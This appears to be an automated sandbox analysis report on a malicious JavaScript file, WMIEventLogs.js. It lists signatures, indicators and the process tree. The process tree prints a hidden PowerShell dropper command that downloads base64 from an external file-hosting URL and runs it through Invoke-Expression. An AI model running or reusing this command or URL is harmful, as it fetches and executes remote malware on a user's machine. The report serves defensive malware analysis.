Resubmissions

06/02/2026, 19:00

260206-xns1waat6a10

01/09/2025, 09:29

250901-lgap6stmv210

Analysis

  • max time kernel
    102s
  • max time network
    105s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250619-en
  • resource tags

    arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    01/09/2025, 09:29

General

  • Target
    WMIEventLogs.js
  • Size 4.9MB
  • Sample250901-lgap6stmv2
  • SHA256 5cf3e2d210554addcabebbb3814a2c6a64920fd1d4b42b6a2339769ffbaf71aa
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://pixeldrain.com/api/file/J5NgFPx8

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\WMIEventLogs.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$wc=New-Object System.Net.WebClient; $wc.Headers.Add('User-Agent','Mozilla/5.0'); $b64=$wc.DownloadString('https://pixeldrain.com/api/file/J5NgFPx8'); [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)) | Invoke-Expression"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1756

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_hocm03lw.ng2.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hocm03lw.ng2.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/1756-1-0x000002926D070000-0x000002926D080000-memory.dmp

        memory/1756-0-0x000002926D070000-0x000002926D080000-memory.dmp

        memory/1756-7-0x000002926D220000-0x000002926D242000-memory.dmp

        memory/1756-11-0x000002926D070000-0x000002926D080000-memory.dmp